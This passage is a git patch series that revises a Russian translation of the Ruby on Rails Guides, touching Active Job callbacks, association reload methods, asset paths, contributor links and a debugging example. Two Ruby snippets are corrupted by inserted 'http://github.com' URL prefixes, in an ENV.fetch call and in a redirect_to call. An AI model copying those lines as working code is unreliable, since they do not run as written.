письма: ```ruby require 'test_helper' @@ -1371,13 +1371,13 @@ end ``` (jobs-testing) Тестирование заданий ------------------- +----------------------------------- Так как ваши задания могут быть поставлены в очередь на различных уровнях приложения, вам нужно протестировать как сами задания (их поведение при получении из очереди), так и то, и что другие элементы правильно кладут их в очередь. ### Простой тестовый случай -По умолчанию при генерации задания, также будет сгенерирован связанный тест в директории `test/jobs`. Вот пример для задания биллинга: +По умолчанию при генерации задания, также будет сгенерирован связанный тест в директории `test/jobs`. Вот пример теста с заданием по выставлению счета: ```ruby require 'test_helper' @@ -1392,7 +1392,7 @@ end Это очень простой пример, он только проверяет, что задание делает работу так, как ожидается. -По умолчанию `ActiveJob::TestCase` устанавливает адаптер очереди `:test`, чтобы ваши задания выполнялись сразу. Это также позволяет убедиться, что все ранее выполненные и поставленные в очередь задания будут очищены до запуска теста, таким образом гарантируется, что в рамках каждого теста нет ранее запущенных заданий. +По умолчанию `ActiveJob::TestCase` устанавливает адаптер очереди `:test`, чтобы ваши задания выполнялись сразу. Это также позволяет убедиться, что все ранее выполненные и поставленные в очередь задания будут очищены до запуска любого теста, таким образом гарантируется, что в рамках каждого теста нет ранее запущенных заданий. ### Пользовательские утверждения и тестирование заданий внутри других компонент From f6498d82c89080cae0e26c977a4ebd902b01df63 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Mon, 21 Aug 2017 00:45:15 +0300 Subject: [PATCH 334/932] update 24-08 --- source/5_0_release_notes.md | 2 +- source/action_cable_overview.md | 2 +- source/action_mailer_basics.md | 2 +- source/active_job_basics.md | 61 +++++----- source/active_record_callbacks.md | 2 +- source/active_record_validations.md | 4 +- source/api_app.md | 4 +- source/asset_pipeline.md | 6 +- source/association_basics.md | 57 ++++++--- source/autoloading_and_reloading_constants.md | 11 +- source/command_line.md | 14 ++- source/configuring.md | 2 +- source/contributing_to_ruby_on_rails.md | 16 +-- source/debugging_rails_applications.md | 40 +++---- source/development_dependencies_install.md | 75 ++++++++---- source/engines.md | 3 + source/generators.md | 22 +++- source/index.yml | 108 +++++++++--------- source/initialization.md | 13 ++- source/plugins.md | 54 ++++----- source/rails_on_rack.md | 4 +- source/routing.md | 4 +- source/security.md | 8 +- source/testing.md | 8 +- source/upgrading_ruby_on_rails.md | 8 +- source/working_with_javascript_in_rails.md | 2 +- 26 files changed, 312 insertions(+), 220 deletions(-) diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 1fa1673e..fb470989 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -33,7 +33,7 @@ Action Cable позволяет писать функционал реально Подробности смотрите в руководстве [Обзор Action Cable](/action-cable-overview). -Теперь можно использовать Rails для создания can now be used to create облегченных только API-приложений. Это полезно для создания и обслуживания API, подобным API [Twitter](https://dev.twitter.com) или [GitHub](http://developer.github.com), которые можно использовать как для публичного доступа, так и для собственных приложений. +Теперь можно использовать Rails для создания can now be used to create облегченных только API-приложений. Это полезно для создания и обслуживания API, подобным API [Twitter](https://dev.twitter.com) или [GitHub](https://developer.github.com), которые можно использовать как для публичного доступа, так и для собственных приложений. Новое api-приложение Rails можно сгенерировать с помощью: diff --git a/source/action_cable_overview.md b/source/action_cable_overview.md index b497d990..c8eaea06 100644 --- a/source/action_cable_overview.md +++ b/source/action_cable_overview.md @@ -44,7 +44,7 @@ module ApplicationCable private def find_verified_user - if verified_user = User.find_by(id: cookies.signed[:user_id]) + if verified_user = User.find_by(id: cookies.encrypted[:user_id]) verified_user else reject_unauthorized_connection diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 896a0f99..5c407fff 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -48,7 +48,7 @@ end Как видите, можно генерировать рассыльщик одним из генератором Rails. Рассыльщики концептуально похожи на контроллеры, таким образом мы получим рассыльщик, директорию для вьюх и тест. -Если не хотите использовать генератор, можно создать свой файл в app/mailers, просто убедитесь, что он унаследован от `ActionMailer::Base`: +Если не хотите использовать генератор, можно создать свой файл в `app/mailers`, просто убедитесь, что он унаследован от `ActionMailer::Base`: ```ruby class MyMailer < ActionMailer::Base diff --git a/source/active_job_basics.md b/source/active_job_basics.md index 5caa181c..0c30aee3 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -13,7 +13,7 @@ -------------------------------------------------------------------------------- Введение ------------- +-------- Active Job - это фреймворк для объявления заданий и их запуска на разных бэкендах для очередей. Эти задания могут быть чем угодно, от регулярно запланированных чисток до списаний с карт или рассылок. В общем, всем, что может быть выделено в небольшие работающие части и запускаться параллельно. @@ -27,7 +27,7 @@ NOTE: По умолчанию, Rails поставляется с асинхро Создание задания ---------------- -Этот раздел предоставляет пошаговое руководство к созданию задания и добавления его в очередь. +Этот раздел предоставляет пошаговое руководство к созданию задания и добавлению его в очередь. ### Создание задания @@ -90,9 +90,9 @@ GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') Вот и все! Запуск заданий --------------- +------------ -Чтобы поместить задания в очередь и выполнить их в production, необходимо настроить бэкенд для очереди, т.е. нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails предоставляет только внутрипроцессную систему очереди, хранящую задания в памяти. Если процесс упадет, или машина будет перезагружена, тогда в асинхронном бэкенде по умолчанию все оставшиеся задания будут потеряны. Это может быть нормальным для маленьких приложений или некритичных заданий, но для большей части серьезных приложений нужно подобрать сохраняющий бэкенд. +Чтобы поместить задание в очередь и выполнить его в production, необходимо настроить бэкенд для очереди, т.е. нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails предоставляет только внутрипроцессную систему очереди, хранящую задания в памяти. Если процесс упадет, или машина будет перезагружена, тогда в асинхронном бэкенде по умолчанию все оставшиеся задания будут потеряны. Это может быть нормальным для маленьких приложений или некритичных заданий, но для большей части серьезных приложений нужно подобрать сохраняющий бэкенд. ### Бэкенды @@ -127,7 +127,7 @@ end ### Запуск бэкенда -Поскольку задания запускаются параллельно с вашим Rails приложением, большинство библиотек для работы с очередями требуют запуска специфичной для библиотеки службы очереди (помимо старта вашего Rails приложения) для обработки заданий. Обратитесь к документации по библиотеке за инструкциями по запуска вашего бэкенда очереди. +Поскольку задания запускаются параллельно с вашим Rails приложением, большинство библиотек для работы с очередями требуют запуска специфичной для библиотеки службы очереди (помимо старта Rails приложения) для обработки заданий. Обратитесь к документации по библиотеке за инструкциями по запуску бэкенда очереди. Вот неполный список документации: @@ -220,42 +220,47 @@ NOTE: Убедитесь, что ваш бэкенд для очередей "с Колбэки ------- - -Active Job предоставляет хуки на протяжение жизненного цикла задания. Колбэки позволяют включить логику в жизненный цикл задания. - -### Доступные колбэки - -* `before_enqueue` -* `around_enqueue` -* `after_enqueue` -* `before_perform` -* `around_perform` -* `after_perform` - -### Использование + +Active Job предоставляет хуки для включения логики на протяжение жизненного цикла задания. Подобно другим колбэкам в Rails, можно реализовывать колбэки как обычные методы и использовать макрос-метод класса, чтобы зарегистрировать их в качестве колбэков: ```ruby class GuestsCleanupJob < ApplicationJob queue_as :default - before_enqueue do |job| - # делаем что-то с экземпляром задания - end - - around_perform do |job, block| - # делаем что-то перед выполнением - block.call - # делаем что-то после выполнения - end + around_perform :around_cleanup def perform # Отложенное задание end + + private + def around_cleanup(job) + # Делаем что-то перед perform + yield + # Делаем что-то после perform + end end ``` +Макрос-методы класса также могут принимать блок. Рассмотрите возможность использования этого макроса, если код внутри блока настолько короток, что он помещается в одну строку. Например, можно отправлять показатели для каждого помещенного в очередь задания. + +```ruby +class ApplicationJob + before_enqueue { |job| $statsd.increment "#{job.name.underscore}.enqueue" } +end +``` + +### Доступные колбэки + +* `before_enqueue` +* `around_enqueue` +* `after_enqueue` +* `before_perform` +* `around_perform` +* `after_perform` + Action Mailer ------------- +------------- Одним из обычных заданий в современном веб-приложении является рассылка писем за пределами цикла запроса-отклика, чтобы пользователь не ждал. Active Job интегрируется с Action Mailer, поэтому рассылать письма асинхронно очень просто: diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index 82f7e3e2..89a9d2fe 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -422,7 +422,7 @@ end WARNING: Колбэки `after_commit` и `after_rollback` вызываются для всех созданных, обновленных или удаленных моделей внутри блока транзакции. Однако, если какое-либо исключение вызовется в одном из этих колбэков, это исключение всплывет, и любые оставшиеся методы `after_commit` или `after_rollback` _не_ будут выполнены. По сути, если код вашего колбэка может вызвать исключение, нужно для него вызвать rescue, и обработать его в колбэке, чтобы позволить запуститься другим колбэкам. -WARNING. Одновременное использование `after_create_commit` и `after_update_commit` в одной и той же модели переопределит колбэк, который был первым из них зарегистрирован. +WARNING. При одновременном использовании `after_create_commit` и `after_update_commit` в одной и той же модели сработает только колбэк, определенный последним, переопределив все остальные. ```ruby class User < ApplicationRecord diff --git a/source/active_record_validations.md b/source/active_record_validations.md index 1883f21d..5b89c7d5 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -471,7 +471,7 @@ class Holiday < ApplicationRecord end ``` -Если хотите создать ограничение на уровне базы данных, чтобы предотвратить возможные нарушения валидации уникальности с помощью опции `:scope`, вы должны создать индекс уникальности на обоих столбцах вашей базы данных. Подробнее об индексах для нескольких столбцов смотрите [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html), или примеры ограничений уникальности, относящихся к группе столбцов в [the PostgreSQL manual](http://www.postgresql.org/docs/current/static/ddl-constraints.html). +Если хотите создать ограничение на уровне базы данных, чтобы предотвратить возможные нарушения валидации уникальности с помощью опции `:scope`, необходимо создать индекс уникальности на обоих столбцах базы данных. Подробнее об индексах для нескольких столбцов смотрите в [мануале MySQL](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html), или примеры ограничений уникальности, относящихся к группе столбцов в [мануале PostgreSQL](https://postgrespro.ru/docs/postgrespro/9.6/ddl-constraints.html). Также имеется опция `:case_sensitive`, которой можно определить, будет ли ограничение уникальности чувствительно к регистру или нет. Опция по умолчанию равна true. @@ -681,7 +681,7 @@ Person.new.valid? # => TokenGenerationException: Token can't be blank Условная валидация ------------------ -Иногда имеет смысл проводить валидацию объекта только при выполнении заданного условия. Это можно сделать, используя опции `:if` и `:unless`, которые принимают символ, строку, `Proc` или массив. Опцию `:if` можно использовать, если вы хотите определить, когда валидация **должна** произойти. Если вы хотите определить, когда валидация **не должна** произойти, воспользуйтесь опцией `:unless`. +Иногда имеет смысл проводить валидацию объекта только при выполнении заданного условия. Это можно сделать, используя опции `:if` и `:unless`, которые принимают символ, `Proc` или `Array`. Опцию `:if` можно использовать, если необходимо определить, когда валидация **должна** произойти. Если же нужно определить, когда валидация **не должна** произойти, воспользуйтесь опцией `:unless`. ### Использование символа с `:if` и `:unless` diff --git a/source/api_app.md b/source/api_app.md index e925cb27..6c0ab482 100644 --- a/source/api_app.md +++ b/source/api_app.md @@ -13,7 +13,7 @@ Что такое API-приложение? ------------------------- -Обычно, когда говорят, что Rails используется как "API", имеется в виду предоставление программно доступного API вместе с веб-приложением. Например, GitHub предоставляет [API](http://developer.github.com), который можно использовать в вашем собственном клиенте. +Обычно, когда говорят, что Rails используется как "API", имеется в виду предоставление программно доступного API вместе с веб-приложением. Например, GitHub предоставляет [API](https://developer.github.com), который можно использовать в собственном клиенте. С приходом клиентских фреймворков многие разработчики используют Rails для создания бэкенда, общего для их веб-приложений и других нативных приложений. @@ -50,7 +50,7 @@ На уровне Action Pack: - Ресурсный роутинг: Если вы создаете RESTful JSON API, вам захочется использовать роутер Rails. Чистый и общепринятый мапинг от HTTP к контроллерам означает, что не нужно тратить время, думая, как смоделировать ваш API в терминах HTTP. -- Генерация URL: Обратной стороной роутинга является генерация URL. Хороший API, основанный на HTTP, включает URL (в качестве примера смотрите [GitHub Gist API](http://developer.github.com/v3/gists/)). +- Генерация URL: Обратной стороной роутинга является генерация URL. Хороший API, основанный на HTTP, включает URL (в качестве примера смотрите [GitHub Gist API](https://developer.github.com/v3/gists/)). - Отклики с заголовками и редиректами: `head :no_content` и `redirect_to user_url(http://github.com/current_user)` очень удобны. Конечно, заголовки отклика можно добавить руками, но зачем? - Кэширование: Rails предоставляет кэширование страниц, экшнов и фрагментов. Кэширование фрагментов особенно полезно при создании вложенных объектов JSON. - Простая, дайджестная и токенная аутентификация: Rails поставляется с поддержкой из коробки трех типов аутентификации HTTP. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index fda830ce..476991da 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -181,10 +181,10 @@ app/assets/javascripts/sub/something.js Можно просмотреть путь поиска, проинспектировав `Rails.application.config.assets.paths` в консоли Rails. -Помимо стандартных путей `assets/*` в файлопровод могут быть добавлены дополнительные (полные) пути в `config/application.rb`. Например: +Помимо стандартных путей `assets/*` в файлопровод могут быть добавлены дополнительные (полные) пути в `config/initializers/assets.rb`. Например: ```ruby -config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") +Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") ``` Пути обходятся в том порядке, в котором они выводятся в пути поиска. По умолчанию это означает, что имеют преимущество файлы в `app/assets`, они перекроют соответствующие пути в `lib` и `vendor`. @@ -721,7 +721,7 @@ http://mycdnsubdomain.fictional-cdn.com/assets/smile.png ### Сжатие CSS -Одним из вариантов для сжатия CSS является YUI. [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) представляет минификацию. +Одним из вариантов для сжатия CSS является YUI. [YUI CSS compressor](https://yui.github.io/yuicompressor/css.html) предоставляет минификацию. Следующая строка включает сжатие YUI и требует гем `yui-compressor`. diff --git a/source/association_basics.md b/source/association_basics.md index 89d1f293..9e504352 100644 --- a/source/association_basics.md +++ b/source/association_basics.md @@ -5,9 +5,11 @@ После его прочтения, вы узнаете: -* Как объявлять связи между моделями Active Record -* Как понимать различные типы связей Active Record -* Как использовать методы, добавленные в ваши модели при создании связей +* Как объявлять связи между моделями Active Record. +* Как понимать различные типы связей Active Record. +* Как использовать методы, добавленные в ваши модели при создании связей. + +-------------------------------------------------------------------------------- Зачем нужны связи? ------------------ @@ -514,9 +516,8 @@ class CreateEmployees < ActiveRecord::Migration[5.0] end ``` - Полезные советы и предупреждения ---------------------------------- +-------------------------------- Вот некоторые вещи, которые необходимо знать для эффективного использования связей Active Record в вашем приложении на Rails: @@ -798,6 +799,7 @@ a.first_name == b.writer.first_name # => true * `build_association(attributes = {})` * `create_association(attributes = {})` * `create_association!(attributes = {})` +* `reload_association` Во всех четырех методах `association` заменяется символом, переданным как первый аргумент в `belongs_to`. Например, имеем объявление: @@ -815,6 +817,7 @@ author= build_author create_author create_author! +reload_author ``` NOTE: Когда устанавливаете новую связь `has_one` или `belongs_to`, следует использовать префикс `build_` для построения связи, в отличие от метода `association.build`, используемый для связей `has_many` или `has_and_belongs_to_many`. Чтобы создать связь, используйте префикс `create_`. @@ -827,10 +830,10 @@ NOTE: Когда устанавливаете новую связь `has_one` и @author = @book.author ``` -Если связанный объект уже был получен из базы данных для этого объекта, возвращается кэшированная версия. Чтобы переопределить это поведение (и заставить прочитать из базы данных), вызовите `#reload` на родительском объекте. +Если связанный объект уже был получен из базы данных для этого объекта, возвращается кэшированная версия. Чтобы переопределить это поведение (и заставить прочитать из базы данных), вызовите `#reload_association` на родительском объекте. ```ruby -@author = @book.reload.author +@author = @book.reload_author ``` #### `association=(associate)` @@ -970,7 +973,7 @@ end TIP: В любом случае, Rails не создаст столбцы внешнего ключа за вас. Вам необходимо явно определить их в своих миграциях. -##### `:primary_key` +#### `:primary_key` По соглашению Rails предполагает, что для первичного ключа используется столбец `id` в таблице. Опция `:primary_key` позволяет указать иной столбец. @@ -1032,7 +1035,7 @@ end Если установите опцию `:validate` в `true`, тогда связанные объекты будут проходить валидацию всякий раз, когда вы сохраняете этот объект. По умолчанию она равна `false`: связанные объекты не проходят валидацию, когда этот объект сохраняется. -##### `:optional` +#### `:optional` Если установить `:optional` в `true`, тогда наличие связанных объектов не будет валидироваться. По умолчанию установлено в `false`. @@ -1140,6 +1143,7 @@ end * `build_association(attributes = {})` * `create_association(attributes = {})` * `create_association!(attributes = {})` +* `reload_association` Во всех этих методах `association` заменяется на символ, переданный как первый аргумент в `has_one`. Например, имеем объявление: @@ -1157,6 +1161,7 @@ account= build_account create_account create_account! +reload_account ``` NOTE: При установлении новой связи `has_one` или `belongs_to`, следует использовать префикс `build_` для построения связи, в отличие от метода `association.build`, используемого для связей `has_many` или `has_and_belongs_to_many`. Чтобы создать связь, используйте префикс `create_`. @@ -1169,10 +1174,10 @@ NOTE: При установлении новой связи `has_one` или `be @account = @supplier.account ``` -Если связанный объект уже был получен из базы данных для этого объекта, возвращается кэшированная версия. Чтобы переопределить это поведение (и заставить прочитать из базы данных), вызовите `#reload` на родительском объекте. +Если связанный объект уже был получен из базы данных для этого объекта, возвращается кэшированная версия. Чтобы переопределить это поведение (и заставить прочитать из базы данных), вызовите `#reload_association` на родительском объекте. ```ruby -@account = @supplier.reload.account +@account = @supplier.reload_account ``` #### `association=(associate)` @@ -1419,6 +1424,7 @@ end * `collection.build(attributes = {}, ...)` * `collection.create(attributes = {})` * `collection.create!(attributes = {})` +* `collection.reload` Во всех этих методах `collection` заменяется символом, переданным как первый аргумент в `has_many`, и `collection_singular` заменяется версией в единственном числе этого символа. Например, имеем объявление: @@ -1447,11 +1453,12 @@ books.exists?(...) books.build(attributes = {}, ...) books.create(attributes = {}) books.create!(attributes = {}) +books.reload ``` #### `collection` -Метод `collection` возвращает массив всех связанных объектов. Если нет связанных объектов, он возвращает пустой массив. +Метод `collection` возвращает Relation всех связанных объектов. Если нет связанных объектов, он возвращает пустой Relation. ```ruby @books = @author.books @@ -1580,6 +1587,14 @@ WARNING: Объекты будут удалены, если они связан Работает так же, как вышеприведенный `collection.create`, но вызывает `ActiveRecord::RecordInvalid`, если запись невалидна. +#### `collection.reload` + +Метод `collection.reload` возвращает Relation всех связанных объектов, принудительно читая базу данных. Если нет связанных объектов, он возвращает пустой Relation. + +```ruby +@books = @author.books.reload +``` + ### Опции для `has_many` Хотя Rails использует разумные значения по умолчанию, работающие во многих ситуациях, бывают случаи, когда хочется изменить поведение связи `has_many`. Такая настройка легко выполнима с помощью передачи опций при создании связи. Например, эта связь использует две такие опции: @@ -1623,7 +1638,7 @@ class Author < ApplicationRecord end ``` -##### `:counter_cache` +#### `:counter_cache` Эта опция используется для настройки произвольно названного `:counter_cache`. Эту опцию нужно использовать только если вы изменили имя вашего `:counter_cache` у [связи belongs_to](#options-for-belongs-to). @@ -1918,6 +1933,7 @@ person.articles << article unless person.articles.include?(post) * `collection.build(attributes = {})` * `collection.create(attributes = {})` * `collection.create!(attributes = {})` +* `collection.reload` Во всех этих методах `collection` заменяется символом, переданным как первый аргумент в `has_and_belongs_to_many`, а `collection_singular` заменяется версией в единственном числе этого символа. Например, имеем объявление: @@ -1946,6 +1962,7 @@ assemblies.exists?(...) assemblies.build(attributes = {}, ...) assemblies.create(attributes = {}) assemblies.create!(attributes = {}) +assemblies.reload ``` #### Дополнительные методы столбцов @@ -1956,7 +1973,7 @@ WARNING: Использование дополнительных атрибут #### `collection` -Метод `collection` возвращает массив всех связанных объектов. Если нет связанных объектов, он возвращает пустой массив. +Метод `collection` возвращает Relation всех связанных объектов. Если нет связанных объектов, он возвращает пустой Relation. ```ruby @assemblies = @part.assemblies @@ -1980,7 +1997,7 @@ NOTE: Этот метод - просто синоним к `collection.concat` @part.assemblies.delete(@assembly1) ``` -##### `collection.destroy(object, ...)` +#### `collection.destroy(object, ...)` Метод `collection.destroy` убирает один или более объектов из коллекции, удаляя записи в соединительной таблице. Это не уничтожает объекты. @@ -2066,6 +2083,14 @@ NOTE: Этот метод - просто синоним к `collection.concat` Работает так же, как вышеприведенный `collection.create`, но вызывает `ActiveRecord::RecordInvalid`, если запись невалидна. +#### `collection.reload` + +Метод `collection.reload` возвращает Relation всех связанных объектов, принудительно читая базу данных. Если нет связанных объектов, он возвращает пустой Relation. + +```ruby +@assemblies = @part.assemblies.reload +``` + ### Опции для `has_and_belongs_to_many` Хотя Rails использует разумные значения по умолчанию, работающие во многих ситуациях, бывают случаи, когда хочется изменить поведение связи `has_and_belongs_to_many`. Такая настройка легко выполнима с помощью передачи опции при создании связи. Например, эта связь использует две такие опции: @@ -2248,7 +2273,7 @@ end Если вы хотите назначить объект связью `has_and_belongs_to_many` без сохранения объекта, используйте метод `collection.build`. (association-callbacks-and-extensions) Подробная информация по колбэкам и расширениям связи --------------------------------------------------------------------------------------------- +------------------------------------------------------------------------------------------- ### Колбэки связи diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index 0a5be5cd..fc128588 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -356,12 +356,21 @@ config.autoload_paths << "#{Rails.root}/lib" ``` $ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths' .../app/assets +.../app/channels .../app/controllers +.../app/controllers/concerns .../app/helpers +.../app/jobs .../app/mailers .../app/models -.../app/controllers/concerns .../app/models/concerns +.../activestorage/app/assets +.../activestorage/app/controllers +.../activestorage/app/javascript +.../activestorage/app/jobs +.../activestorage/app/models +.../actioncable/app/assets +.../actionview/app/assets .../test/mailers/previews ``` diff --git a/source/command_line.md b/source/command_line.md index cdfee301..3b9e7312 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -98,6 +98,7 @@ Please choose a generator below. Rails: assets + channel controller generator ... @@ -238,6 +239,8 @@ $ bin/rails generate scaffold HighScore game:string score:integer invoke jbuilder create app/views/high_scores/index.json.jbuilder create app/views/high_scores/show.json.jbuilder + invoke test_unit + create test/system/high_scores_test.rb invoke assets invoke coffee create app/assets/javascripts/high_scores.coffee @@ -633,13 +636,16 @@ $ cat config/database.yml # Configure Using Gemfile # gem 'pg' # -development: +default: &default adapter: postgresql encoding: unicode + # For details on connection pooling, see Rails configuration guide + # http://guides.rubyonrails.org/configuring.html#database-pooling + pool: <%= ENV.fetch("http://github.com/RAILS_MAX_THREADS") { 5 } %> + +development: + <<: *default database: gitapp_development - pool: 5 - username: gitapp - password: ... ... ``` diff --git a/source/configuring.md b/source/configuring.md index 0d01f965..6a18d740 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -46,7 +46,7 @@ Rails будет использовать эту конкретную настр Эти конфигурационные методы вызываются на объекте `Rails::Railtie`, таком как подкласс `Rails::Engine` или `Rails::Application`. -* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ запущен для rake задач. Полезно для конфигурирования настроек, установленных другими инициализаторами: +* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ запущен для Rake задач. Полезно для конфигурирования настроек, установленных другими инициализаторами: ```ruby config.after_initialize do diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 20a4135e..c9b4e892 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -11,7 +11,7 @@ * Как внести вклад в документацию Ruby on Rails. * Как внести вклад в код Ruby on Rails. -Ruby on Rails — это не "чей-то там фреймворк". На протяжение лет сотни людей вносили вклад в Ruby on Rails, от одиночного символа до огромных архитектурных изменений или значимой документации — и все это с целью сделать Ruby on Rails лучше для каждого. Даже если вы пока не готовы писать код или документацию, имеется ряд других способов, которыми вы можете внести вклад, от сообщений о проблемах до тестирования новых изменений. +Ruby on Rails — это не "чей-то там фреймворк". На протяжение лет тысячи людей вносили вклад в Ruby on Rails, от одиночного символа до огромных архитектурных изменений или значимой документации — и все это с целью сделать Ruby on Rails лучше для каждого. Даже если пока не готовы писать код или документацию, имеется ряд других способов, которыми можно внести вклад, от сообщений о проблемах до тестирования новых изменений. Как упомянуто в [Rails README](https://github.com/rails/rails/blob/master/README.md), от каждого, участвующего в коде Rails и его подпроектах, системах отслеживания ошибок, чатах и списках рассылок, ожидается следование [нормам поведения](http://rubyonrails.org/conduct/) Rails. @@ -69,7 +69,7 @@ WARNING: Пожалуйста, не сообщайте об уязвимостя Если проблема очень расплывчатая, сможете ли вы помочь сузить ее до чего-то конкретного? Может быть вы сможете предоставить дополнительную информацию, чтобы помочь воспроизвести баг, или помочь в устранении ненужных шагов, не требуемых для демонстрации проблемы. -Если вы обнаружили сообщение о баге без теста, было бы полезным внести вклад, написав падающий тест. Это также отличный способ исследования исходного кода: глядя на существующие файлы тестов, вы научитесь, как писать больше тестов. Новые тесты лучше всего вносить в виде изменений, как объяснено позже в разделе "Вносим вклад в код Rails". +Если обнаружили сообщение о баге без теста, было бы полезным внести вклад, написав падающий тест. Это также отличный способ исследования исходного кода: глядя на существующие файлы тестов, научитесь как писать больше тестов. Новые тесты лучше всего вносить в виде изменений, как объяснено позже в разделе "[Вносим вклад в код Rails](#vnosim-vklad-v-kod-rails)". Все, что вы сможете сделать, чтобы отчеты о баге стали более краткими и более простыми для воспроизведения, поможет ребятам, пытающимся починить эти баги — независимо от того, дойдете вы до написания кода, или нет. @@ -140,11 +140,11 @@ NOTE: Эти инструкции для Rails > 4. Гем Redcarpet не раб Деятельность по переводу, о которой мы знаем (разные версии): * **Итальянский**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails) -* **Испанский**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails) -* **Польский**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master) +* **Испанский**: [https://github.com/gramos/docrails/wiki](https://github.com/gramos/docrails/wiki) +* **Польский**: [https://github.com/apohllo/docrails](https://github.com/apohllo/docrails) * **Французский** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails) * **Чешский** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech) -* **Турецкий** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master) +* **Турецкий** : [https://github.com/ujk/docrails](https://github.com/ujk/docrails) * **Корейский** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides) * **Упрощенный китайский** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides) * **Традиционный китайский** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides) @@ -160,7 +160,7 @@ NOTE: Эти инструкции для Rails > 4. Гем Redcarpet не раб #### Простой способ -Простейшим и рекомендованным способом получить среду разработки, готовую для программирования, является использование [Rails development box](https://github.com/rails/rails-dev-box). +Простейшим и рекомендованным способом получить среду разработки, готовую для программирования, является использование [rails-dev-box](https://github.com/rails/rails-dev-box). #### Сложный способ @@ -424,7 +424,7 @@ $ git rebase master Добавьте новый удаленный репозиторий к вашему локальному: ```bash -$ git remote add mine https://github.com:/rails.git +$ git remote add mine https://github.com//rails.git ``` Отправляйте в свой удаленный репозиторий: @@ -483,7 +483,7 @@ comparison". У некоторых контрибьюторов в Rails включены уведомления по email с GitHub, у некоторых нет. Более того, (почти) все, кто работает над Rails, являются добровольцами, поэтому может пройти несколько дней до того, как вы получите первую обратную связь на пул-реквест. Не отчаивайтесь! Иногда это быстро, иногда это медленно. Такова жизнь открытого ПО. -Если прошло больше недели, и вам никто не ответил, можете попытаться немного ускорить процесс. Для этого используйте [рассылку rubyonrails-core](http://groups.google.com/group/rubyonrails-core/). Также можно оставить комментарий в своем пул-реквесте. +Если прошло больше недели, и никто не ответил, можно попытаться немного ускорить процесс. Для этого используйте [рассылку rubyonrails-core](https://groups.google.com/forum/#!forum/rubyonrails-core). Также можно оставить комментарий в своем пул-реквесте. ПОка вы ждете обратную связь на свой пул-реквест, откройте несколько чужих пул-реквестов и дайте обратную связь кому-то еще! Мы уверены, они будут признательны за это не меньше, чем вы были бы признательны за обратную связь на ваши изменения. diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 391d5765..9459f6e3 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -153,41 +153,41 @@ class ArticlesController < ApplicationController # ... def create - @article = Article.new(params[:article]) + @article = Article.new(article_params) logger.debug "New article: #{@article.attributes.inspect}" logger.debug "Article should be valid: #{@article.valid?}" if @article.save - flash[:notice] = 'Article was successfully created.' logger.debug "The article was saved and now the user is going to be redirected..." - redirect_to(@article) + redirect_to @article, notice: 'Article was successfully created.' else - render action: "new" + render :new end end # ... + + private + def article_params + params.require(:article).permit(:title, :body, :published) + end end ``` Пример лога, сгенерированного при выполнении экшна контроллера: ``` -Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] - Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl -vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 - Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails", - "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, - "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"} -New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", - "published"=>false, "created_at"=>nil} +Started POST "/articles" for 127.0.0.1 at 2017-08-20 20:53:10 +0900 +Processing by ArticlesController#create as HTML + Parameters: {"utf8"=>"✓", 